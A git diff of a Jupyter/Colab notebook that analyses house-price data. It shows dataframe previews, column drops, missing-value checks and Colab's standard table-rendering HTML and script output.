-       "      <th>bedrooms</th>\n",
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-       "      <th>sqft_living</th>\n",
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-       "      <th>zipcode</th>\n",
-       "      <th>lat</th>\n",
-       "      <th>long</th>\n",
-       "      <th>sqft_living15</th>\n",
-       "      <th>sqft_lot15</th>\n",
-       "    </tr>\n",
-       "  </thead>\n",
-       "  <tbody>\n",
-       "    <tr>\n",
-       "      <th>0</th>\n",
-       "      <td>221900.0</td>\n",
-       "      <td>3</td>\n",
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-       "      <td>1180</td>\n",
-       "      <td>0</td>\n",
-       "      <td>1955</td>\n",
-       "      <td>0</td>\n",
-       "      <td>98178</td>\n",
-       "      <td>47.5112</td>\n",
-       "      <td>-122.257</td>\n",
-       "      <td>1340</td>\n",
-       "      <td>5650</td>\n",
-       "    </tr>\n",
-       "    <tr>\n",
-       "      <th>1</th>\n",
-       "      <td>538000.0</td>\n",
-       "      <td>3</td>\n",
-       "      <td>2.25</td>\n",
-       "      <td>2570</td>\n",
-       "      <td>7242</td>\n",
-       "      <td>2.0</td>\n",
-       "      <td>0</td>\n",
-       "      <td>0</td>\n",
-       "      <td>3</td>\n",
-       "      <td>7</td>\n",
-       "      <td>2170</td>\n",
-       "      <td>400</td>\n",
-       "      <td>1951</td>\n",
-       "      <td>1991</td>\n",
-       "      <td>98125</td>\n",
-       "      <td>47.7210</td>\n",
-       "      <td>-122.319</td>\n",
-       "      <td>1690</td>\n",
-       "      <td>7639</td>\n",
-       "    </tr>\n",
-       "    <tr>\n",
-       "      <th>2</th>\n",
-       "      <td>180000.0</td>\n",
-       "      <td>2</td>\n",
-       "      <td>1.00</td>\n",
-       "      <td>770</td>\n",
-       "      <td>10000</td>\n",
-       "      <td>1.0</td>\n",
-       "      <td>0</td>\n",
-       "      <td>0</td>\n",
-       "      <td>3</td>\n",
-       "      <td>6</td>\n",
-       "      <td>770</td>\n",
-       "      <td>0</td>\n",
-       "      <td>1933</td>\n",
-       "      <td>0</td>\n",
-       "      <td>98028</td>\n",
-       "      <td>47.7379</td>\n",
-       "      <td>-122.233</td>\n",
-       "      <td>2720</td>\n",
-       "      <td>8062</td>\n",
-       "    </tr>\n",
-       "    <tr>\n",
-       "      <th>3</th>\n",
-       "      <td>604000.0</td>\n",
-       "      <td>4</td>\n",
-       "      <td>3.00</td>\n",
-       "      <td>1960</td>\n",
-       "      <td>5000</td>\n",
-       "      <td>1.0</td>\n",
-       "      <td>0</td>\n",
-       "      <td>0</td>\n",
-       "      <td>5</td>\n",
-       "      <td>7</td>\n",
-       "      <td>1050</td>\n",
-       "      <td>910</td>\n",
-       "      <td>1965</td>\n",
-       "      <td>0</td>\n",
-       "      <td>98136</td>\n",
-       "      <td>47.5208</td>\n",
-       "      <td>-122.393</td>\n",
-       "      <td>1360</td>\n",
-       "      <td>5000</td>\n",
-       "    </tr>\n",
-       "    <tr>\n",
-       "      <th>4</th>\n",
-       "      <td>510000.0</td>\n",
-       "      <td>3</td>\n",
-       "      <td>2.00</td>\n",
-       "      <td>1680</td>\n",
-       "      <td>8080</td>\n",
-       "      <td>1.0</td>\n",
-       "      <td>0</td>\n",
-       "      <td>0</td>\n",
-       "      <td>3</td>\n",
-       "      <td>8</td>\n",
-       "      <td>1680</td>\n",
-       "      <td>0</td>\n",
-       "      <td>1987</td>\n",
-       "      <td>0</td>\n",
-       "      <td>98074</td>\n",
-       "      <td>47.6168</td>\n",
-       "      <td>-122.045</td>\n",
-       "      <td>1800</td>\n",
-       "      <td>7503</td>\n",
-       "    </tr>\n",
-       "  </tbody>\n",
-       "</table>\n",
-       "</div>"
+      "cell_type": "code",
+      "execution_count": null,
+      "id": "4c8baa28",
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 226
+        },
+        "id": "4c8baa28",
+        "outputId": "4c01af74-bc76-4093-af54-370f1cd54e94"
+      },
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "      price  bedrooms  bathrooms  sqft_living  sqft_lot  floors  waterfront  \\\n",
+              "0  221900.0         3       1.00         1180      5650     1.0           0   \n",
+              "1  538000.0         3       2.25         2570      7242     2.0           0   \n",
+              "2  180000.0         2       1.00          770     10000     1.0           0   \n",
+              "3  604000.0         4       3.00         1960      5000     1.0           0   \n",
+              "4  510000.0         3       2.00         1680      8080     1.0           0   \n",
+              "\n",
+              "   view  condition  grade  sqft_above  sqft_basement  yr_built  yr_renovated  \\\n",
+              "0     0          3      7        1180              0      1955             0   \n",
+              "1     0          3      7        2170            400      1951          1991   \n",
+              "2     0          3      6         770              0      1933             0   \n",
+              "3     0          5      7        1050            910      1965             0   \n",
+              "4     0          3      8        1680              0      1987             0   \n",
+              "\n",
+              "   zipcode      lat     long  sqft_living15  sqft_lot15  \n",
+              "0    98178  47.5112 -122.257           1340        5650  \n",
+              "1    98125  47.7210 -122.319           1690        7639  \n",
+              "2    98028  47.7379 -122.233           2720        8062  \n",
+              "3    98136  47.5208 -122.393           1360        5000  \n",
+              "4    98074  47.6168 -122.045           1800        7503  "
+            ],
+            "text/html": [
+              "\n",
+              "  <div id=\"df-fa30ae1d-f733-4331-ba24-a403ebaeb47c\" class=\"colab-df-container\">\n",
+              "    <div>\n",
+              "<style scoped>\n",
+              "    .dataframe tbody tr th:only-of-type {\n",
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+              "</style>\n",
+              "<table border=\"1\" class=\"dataframe\">\n",
+              "  <thead>\n",
+              "    <tr style=\"text-align: right;\">\n",
+              "      <th></th>\n",
+              "      <th>price</th>\n",
+              "      <th>bedrooms</th>\n",
+              "      <th>bathrooms</th>\n",
+              "      <th>sqft_living</th>\n",
+              "      <th>sqft_lot</th>\n",
+              "      <th>floors</th>\n",
+              "      <th>waterfront</th>\n",
+              "      <th>view</th>\n",
+              "      <th>condition</th>\n",
+              "      <th>grade</th>\n",
+              "      <th>sqft_above</th>\n",
+              "      <th>sqft_basement</th>\n",
+              "      <th>yr_built</th>\n",
+              "      <th>yr_renovated</th>\n",
+              "      <th>zipcode</th>\n",
+              "      <th>lat</th>\n",
+              "      <th>long</th>\n",
+              "      <th>sqft_living15</th>\n",
+              "      <th>sqft_lot15</th>\n",
+              "    </tr>\n",
+              "  </thead>\n",
+              "  <tbody>\n",
+              "    <tr>\n",
+              "      <th>0</th>\n",
+              "      <td>221900.0</td>\n",
+              "      <td>3</td>\n",
+              "      <td>1.00</td>\n",
+              "      <td>1180</td>\n",
+              "      <td>5650</td>\n",
+              "      <td>1.0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>3</td>\n",
+              "      <td>7</td>\n",
+              "      <td>1180</td>\n",
+              "      <td>0</td>\n",
+              "      <td>1955</td>\n",
+              "      <td>0</td>\n",
+              "      <td>98178</td>\n",
+              "      <td>47.5112</td>\n",
+              "      <td>-122.257</td>\n",
+              "      <td>1340</td>\n",
+              "      <td>5650</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>1</th>\n",
+              "      <td>538000.0</td>\n",
+              "      <td>3</td>\n",
+              "      <td>2.25</td>\n",
+              "      <td>2570</td>\n",
+              "      <td>7242</td>\n",
+              "      <td>2.0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>3</td>\n",
+              "      <td>7</td>\n",
+              "      <td>2170</td>\n",
+              "      <td>400</td>\n",
+              "      <td>1951</td>\n",
+              "      <td>1991</td>\n",
+              "      <td>98125</td>\n",
+              "      <td>47.7210</td>\n",
+              "      <td>-122.319</td>\n",
+              "      <td>1690</td>\n",
+              "      <td>7639</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>2</th>\n",
+              "      <td>180000.0</td>\n",
+              "      <td>2</td>\n",
+              "      <td>1.00</td>\n",
+              "      <td>770</td>\n",
+              "      <td>10000</td>\n",
+              "      <td>1.0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>3</td>\n",
+              "      <td>6</td>\n",
+              "      <td>770</td>\n",
+              "      <td>0</td>\n",
+              "      <td>1933</td>\n",
+              "      <td>0</td>\n",
+              "      <td>98028</td>\n",
+              "      <td>47.7379</td>\n",
+              "      <td>-122.233</td>\n",
+              "      <td>2720</td>\n",
+              "      <td>8062</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>3</th>\n",
+              "      <td>604000.0</td>\n",
+              "      <td>4</td>\n",
+              "      <td>3.00</td>\n",
+              "      <td>1960</td>\n",
+              "      <td>5000</td>\n",
+              "      <td>1.0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>5</td>\n",
+              "      <td>7</td>\n",
+              "      <td>1050</td>\n",
+              "      <td>910</td>\n",
+              "      <td>1965</td>\n",
+              "      <td>0</td>\n",
+              "      <td>98136</td>\n",
+              "      <td>47.5208</td>\n",
+              "      <td>-122.393</td>\n",
+              "      <td>1360</td>\n",
+              "      <td>5000</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>4</th>\n",
+              "      <td>510000.0</td>\n",
+              "      <td>3</td>\n",
+              "      <td>2.00</td>\n",
+              "      <td>1680</td>\n",
+              "      <td>8080</td>\n",
+              "      <td>1.0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>0</td>\n",
+              "      <td>3</td>\n",
+              "      <td>8</td>\n",
+              "      <td>1680</td>\n",
+              "      <td>0</td>\n",
+              "      <td>1987</td>\n",
+              "      <td>0</td>\n",
+              "      <td>98074</td>\n",
+              "      <td>47.6168</td>\n",
+              "      <td>-122.045</td>\n",
+              "      <td>1800</td>\n",
+              "      <td>7503</td>\n",
+              "    </tr>\n",
+              "  </tbody>\n",
+              "</table>\n",
+              "</div>\n",
+              "    <div class=\"colab-df-buttons\">\n",
+              "\n",
+              "  <div class=\"colab-df-container\">\n",
+              "    <button class=\"colab-df-convert\" onclick=\"convertToInteractive('df-fa30ae1d-f733-4331-ba24-a403ebaeb47c')\"\n",
+              "            title=\"Convert this dataframe to an interactive table.\"\n",
+              "            style=\"display:none;\">\n",
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+              "  </svg>\n",
+              "    </button>\n",
+              "\n",
+              "  <style>\n",
+              "    .colab-df-container {\n",
+              "      display:flex;\n",
+              "      gap: 12px;\n",
+              "    }\n",
+              "\n",
+              "    .colab-df-convert {\n",
+              "      background-color: #E8F0FE;\n",
+              "      border: none;\n",
+              "      border-radius: 50%;\n",
+              "      cursor: pointer;\n",
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+              "      fill: #1967D2;\n",
+              "      height: 32px;\n",
+              "      padding: 0 0 0 0;\n",
+              "      width: 32px;\n",
+              "    }\n",
+              "\n",
+              "    .colab-df-convert:hover {\n",
+              "      background-color: #E2EBFA;\n",
+              "      box-shadow: 0px 1px 2px rgba(60, 64, 67, 0.3), 0px 1px 3px 1px rgba(60, 64, 67, 0.15);\n",
+              "      fill: #174EA6;\n",
+              "    }\n",
+              "\n",
+              "    .colab-df-buttons div {\n",
+              "      margin-bottom: 4px;\n",
+              "    }\n",
+              "\n",
+              "    [theme=dark] .colab-df-convert {\n",
+              "      background-color: #3B4455;\n",
+              "      fill: #D2E3FC;\n",
+              "    }\n",
+              "\n",
+              "    [theme=dark] .colab-df-convert:hover {\n",
+              "      background-color: #434B5C;\n",
+              "      box-shadow: 0px 1px 3px 1px rgba(0, 0, 0, 0.15);\n",
+              "      filter: drop-shadow(0px 1px 2px rgba(0, 0, 0, 0.3));\n",
+              "      fill: #FFFFFF;\n",
+              "    }\n",
+              "  </style>\n",
+              "\n",
+              "    <script>\n",
+              "      const buttonEl =\n",
+              "        document.querySelector('#df-fa30ae1d-f733-4331-ba24-a403ebaeb47c button.colab-df-convert');\n",
+              "      buttonEl.style.display =\n",
+              "        google.colab.kernel.accessAllowed ? 'block' : 'none';\n",
+              "\n",
+              "      async function convertToInteractive(key) {\n",
+              "        const element = document.querySelector('#df-fa30ae1d-f733-4331-ba24-a403ebaeb47c');\n",
+              "        const dataTable =\n",
+              "          await google.colab.kernel.invokeFunction('convertToInteractive',\n",
+              "                                                    [key], {});\n",
+              "        if (!dataTable) return;\n",
+              "\n",
+              "        const docLinkHtml = 'Like what you see? Visit the ' +\n",
+              "          '<a target=\"_blank\" href=https://colab.research.google.com/notebooks/data_table.ipynb>data table notebook</a>'\n",
+              "          + ' to learn more about interactive tables.';\n",
+              "        element.innerHTML = '';\n",
+              "        dataTable['output_type'] = 'display_data';\n",
+              "        await google.colab.output.renderOutput(dataTable, element);\n",
+              "        const docLink = document.createElement('div');\n",
+              "        docLink.innerHTML = docLinkHtml;\n",
+              "        element.appendChild(docLink);\n",
+              "      }\n",
+              "    </script>\n",
+              "  </div>\n",
+              "\n",
+              "\n",
+              "    <div id=\"df-03e807f4-ffff-4fc2-8bad-78f6374a9231\">\n",
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+              "                title=\"Suggest charts\"\n",
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+              "    </g>\n",
+              "</svg>\n",
+              "      </button>\n",
+              "\n",
+              "<style>\n",
+              "  .colab-df-quickchart {\n",
+              "      --bg-color: #E8F0FE;\n",
+              "      --fill-color: #1967D2;\n",
+              "      --hover-bg-color: #E2EBFA;\n",
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+              "      --disabled-fill-color: #AAA;\n",
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+              "\n",
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+              "\n",
+              "  .colab-df-quickchart {\n",
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+              "    border-radius: 50%;\n",
+              "    cursor: pointer;\n",
+              "    display: none;\n",
+              "    fill: var(--fill-color);\n",
+              "    height: 32px;\n",
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+              "    width: 32px;\n",
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+              "\n",
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+              "    fill: var(--button-hover-fill-color);\n",
+              "  }\n",
+              "\n",
+              "  .colab-df-quickchart-complete:disabled,\n",
+              "  .colab-df-quickchart-complete:disabled:hover {\n",
+              "    background-color: var(--disabled-bg-color);\n",
+              "    fill: var(--disabled-fill-color);\n",
+              "    box-shadow: none;\n",
+              "  }\n",
+              "\n",
+              "  .colab-df-spinner {\n",
+              "    border: 2px solid var(--fill-color);\n",
+              "    border-color: transparent;\n",
+              "    border-bottom-color: var(--fill-color);\n",
+              "    animation:\n",
+              "      spin 1s steps(1) infinite;\n",
+              "  }\n",
+              "\n",
+              "  @keyframes spin {\n",
+              "    0% {\n",
+              "      border-color: transparent;\n",
+              "      border-bottom-color: var(--fill-color);\n",
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+              "</style>\n",
+              "\n",
+              "      <script>\n",
+              "        async function quickchart(key) {\n",
+              "          const quickchartButtonEl =\n",
+              "            document.querySelector('#' + key + ' button');\n",
+              "          quickchartButtonEl.disabled = true;  // To prevent multiple clicks.\n",
+              "          quickchartButtonEl.classList.add('colab-df-spinner');\n",
+              "          try {\n",
+              "            const charts = await google.colab.kernel.invokeFunction(\n",
+              "                'suggestCharts', [key], {});\n",
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+              "          quickchartButtonEl.classList.remove('colab-df-spinner');\n",
+              "          quickchartButtonEl.classList.add('colab-df-quickchart-complete');\n",
+              "        }\n",
+              "        (() => {\n",
+              "          let quickchartButtonEl =\n",
+              "            document.querySelector('#df-03e807f4-ffff-4fc2-8bad-78f6374a9231 button');\n",
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+              "            google.colab.kernel.accessAllowed ? 'block' : 'none';\n",
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+              "    </div>\n",
+              "\n",
+              "    </div>\n",
+              "  </div>\n"
+            ],
+            "application/vnd.google.colaboratory.intrinsic+json": {
+              "type": "dataframe",
+              "variable_name": "df",
+              "summary": "{\n  \"name\": \"df\",\n  \"rows\": 21613,\n  \"fields\": [\n    {\n      \"column\": \"price\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 367127.1964826997,\n        \"min\": 75000.0,\n        \"max\": 7700000.0,\n        \"num_unique_values\": 4028,\n        \"samples\": [\n          869000.0,\n          391000.0,\n          245500.0\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"bedrooms\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0,\n        \"min\": 0,\n        \"max\": 33,\n        \"num_unique_values\": 13,\n        \"samples\": [\n          10,\n          9,\n          3\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"bathrooms\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0.7701631572177287,\n        \"min\": 0.0,\n        \"max\": 8.0,\n        \"num_unique_values\": 30,\n        \"samples\": [\n          7.75,\n          4.25,\n          6.75\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"sqft_living\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 918,\n        \"min\": 290,\n        \"max\": 13540,\n        \"num_unique_values\": 1038,\n        \"samples\": [\n          2490,\n          2099,\n          2846\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"sqft_lot\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 41420,\n        \"min\": 520,\n        \"max\": 1651359,\n        \"num_unique_values\": 9782,\n        \"samples\": [\n          10171,\n          48716,\n          9268\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"floors\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0.5399888951423824,\n        \"min\": 1.0,\n        \"max\": 3.5,\n        \"num_unique_values\": 6,\n        \"samples\": [\n          1.0,\n          2.0,\n          3.5\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"waterfront\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0,\n        \"min\": 0,\n        \"max\": 1,\n        \"num_unique_values\": 2,\n        \"samples\": [\n          1,\n          0\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"view\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0,\n        \"min\": 0,\n        \"max\": 4,\n        \"num_unique_values\": 5,\n        \"samples\": [\n          3,\n          1\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"condition\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0,\n        \"min\": 1,\n        \"max\": 5,\n        \"num_unique_values\": 5,\n        \"samples\": [\n          5,\n          2\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"grade\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 1,\n        \"min\": 1,\n        \"max\": 13,\n        \"num_unique_values\": 12,\n        \"samples\": [\n          13,\n          3\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"sqft_above\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 828,\n        \"min\": 290,\n        \"max\": 9410,\n        \"num_unique_values\": 946,\n        \"samples\": [\n          2495,\n          1090\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"sqft_basement\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 442,\n        \"min\": 0,\n        \"max\": 4820,\n        \"num_unique_values\": 306,\n        \"samples\": [\n          1850,\n          1260\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"yr_built\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 29,\n        \"min\": 1900,\n        \"max\": 2015,\n        \"num_unique_values\": 116,\n        \"samples\": [\n          1943,\n          1987\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"yr_renovated\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 401,\n        \"min\": 0,\n        \"max\": 2015,\n        \"num_unique_values\": 70,\n        \"samples\": [\n          1977,\n          0\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"zipcode\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 53,\n        \"min\": 98001,\n        \"max\": 98199,\n        \"num_unique_values\": 70,\n        \"samples\": [\n          98112,\n          98178\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"lat\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0.13856371024192457,\n        \"min\": 47.1559,\n        \"max\": 47.7776,\n        \"num_unique_values\": 5034,\n        \"samples\": [\n          47.3354,\n          47.6369\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"long\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 0.14082834238139208,\n        \"min\": -122.519,\n        \"max\": -121.315,\n        \"num_unique_values\": 752,\n        \"samples\": [\n          -121.905,\n          -122.455\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"sqft_living15\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 685,\n        \"min\": 399,\n        \"max\": 6210,\n        \"num_unique_values\": 777,\n        \"samples\": [\n          4400,\n          4260\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    },\n    {\n      \"column\": \"sqft_lot15\",\n      \"properties\": {\n        \"dtype\": \"number\",\n        \"std\": 27304,\n        \"min\": 651,\n        \"max\": 871200,\n        \"num_unique_values\": 8689,\n        \"samples\": [\n          10180,\n          37031\n        ],\n        \"semantic_type\": \"\",\n        \"description\": \"\"\n      }\n    }\n  ]\n}"
+            }
+          },
+          "metadata": {},
+          "execution_count": 294
+        }
       ],
-      "text/plain": [
-       "      price  bedrooms  bathrooms  sqft_living  sqft_lot  floors  waterfront  \\\n",
-       "0  221900.0         3       1.00         1180      5650     1.0           0   \n",
-       "1  538000.0         3       2.25         2570      7242     2.0           0   \n",
-       "2  180000.0         2       1.00          770     10000     1.0           0   \n",
-       "3  604000.0         4       3.00         1960      5000     1.0           0   \n",
-       "4  510000.0         3       2.00         1680      8080     1.0           0   \n",
-       "\n",
-       "   view  condition  grade  sqft_above  sqft_basement  yr_built  yr_renovated  \\\n",
-       "0     0          3      7        1180              0      1955             0   \n",
-       "1     0          3      7        2170            400      1951          1991   \n",
-       "2     0          3      6         770              0      1933             0   \n",
-       "3     0          5      7        1050            910      1965             0   \n",
-       "4     0          3      8        1680              0      1987             0   \n",
-       "\n",
-       "   zipcode      lat     long  sqft_living15  sqft_lot15  \n",
-       "0    98178  47.5112 -122.257           1340        5650  \n",
-       "1    98125  47.7210 -122.319           1690        7639  \n",
-       "2    98028  47.7379 -122.233           2720        8062  \n",
-       "3    98136  47.5208 -122.393           1360        5000  \n",
-       "4    98074  47.6168 -122.045           1800        7503  "
+      "source": [
+        "# Drop irrelevant columns ('id' and 'date') as they do not contribute to analysis or modeling\n",
+        "df.drop(columns=[\"id\", \"date\"], inplace=True)\n",
+        "\n",
+        "# Preview the updated dataset\n",
+        "df.head()\n"
       ]
-     },
-     "execution_count": 20,
-     "metadata": {},
-     "output_type": "execute_result"
-    }
-   ],
-   "source": [
-    "# Drop irrelevant columns ('id' and 'date') as they do not contribute to analysis or modeling\n",
-    "df.drop(columns=[\"id\", \"date\"], inplace=True)\n",
-    "\n",
-    "# Preview the updated dataset\n",
-    "df.head()\n"
-   ]
-  },
-  {
-   "cell_type": "code",
-   "execution_count": 21,
-   "id": "96464c6b",
-   "metadata": {},
-   "outputs": [
+    },
     {
-     "data": {
-      "text/plain": [
-       "price            0\n",
-       "bedrooms         0\n",
-       "bathrooms        0\n",
-       "sqft_living      0\n",
-       "sqft_lot         0\n",
-       "floors           0\n",
-       "waterfront       0\n",
-       "view             0\n",
-       "condition        0\n",
-       "grade            0\n",
-       "sqft_above       0\n",
-       "sqft_basement    0\n",
-       "yr_built         0\n",
-       "yr_renovated     0\n",
-       "zipcode          0\n",
-       "lat              0\n",
-       "long             0\n",
-       "sqft_living15    0\n",
-       "sqft_lot15       0\n",
-       "dtype: int64"
+      "cell_type": "code",
+      "execution_count": null,
+      "id": "96464c6b",
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 679
+        },
+        "id": "96464c6b",
+        "outputId": "56734881-68e1-429b-d012-deb2edd1a62c"
+      },
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "price            0\n",
+              "bedrooms         0\n",
+              "bathrooms        0\n",
+              "sqft_living      0\n",
+              "sqft_lot         0\n",
+              "floors           0\n",
+              "waterfront       0\n",
+              "view             0\n",
+              "condition        0\n",
+              "grade            0\n",
+              "sqft_above       0\n",
+              "sqft_basement    0\n",
+              "yr_built         0\n",
+              "yr_renovated     0\n",
+              "zipcode          0\n",
+              "lat              0\n",
+              "long             0\n",
+              "sqft_living15    0\n",
+              "sqft_lot15       0\n",
+              "dtype: int64"
+            ],
+            "text/html": [
+              "<div>\n",
+              "<style scoped>\n",
+              "    .dataframe tbody tr th:only-of-type {\n",
+              "        vertical-align: middle;\n",
+              "    }\n",
+              "\n",
+              "    .dataframe tbody tr th {\n",
+              "        vertical-align: top;\n",
+              "    }\n",
+              "\n",
+              "    .dataframe thead th {\n",
+              "        text-align: right;\n",
+              "    }\n",
+              "</style>\n",
+              "<table border=\"1\" class=\"dataframe\">\n",
+              "  <thead>\n",
+              "    <tr style=\"text-align: right;\">\n",
+              "      <th></th>\n",
+              "      <th>0</th>\n",
+              "    </tr>\n",
+              "  </thead>\n",
+              "  <tbody>\n",
+              "    <tr>\n",
+              "      <th>price</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>bedrooms</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>bathrooms</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>sqft_living</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>sqft_lot</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>floors</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>waterfront</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>view</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>condition</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>grade</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>sqft_above</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>sqft_basement</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>yr_built</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>yr_renovated</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>zipcode</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>lat</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>long</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>sqft_living15</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "    <tr>\n",
+              "      <th>sqft_lot15</th>\n",
+              "      <td>0</td>\n",
+              "    </tr>\n",
+              "  </tbody>\n",
+              "</table>\n",
+              "</div><br><label><b>dtype:</b> int64</label>"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 295
+        }
+      ],
+      "source": [
+        "# Check for missing values in each column\n",
+        "df.isna().sum()\n"
       ]
-     },
-     "execution_count": 21,
-     "metadata": {},
-     "output_type": "execute_result"
-    }
-   ],
-   "source": [
-    "# Check for missing values in each column\n",
-    "df.isna().sum()\n"
-   ]
-  },
-  {
-   "cell_type": "code",
-   "execution_count": 22,
-   "id": "6739b888",
-   "metadata": {},
-   "outputs": [
+    },
     {
-     "data": {
-      "text/plain": [
-       "<Axes: >"
+      "cell_type": "code",
+      "execution_count": null,
+      "id": "6739b888",
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 469
+        },
+        "id": "6739b888",
+        "outputId": "723e6ac4-002d-4640-cc99-57c0c33b0c0e"
+      },
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "<Axes: >"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 296
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "<Figure size 1500x700 with 1 Axes>"
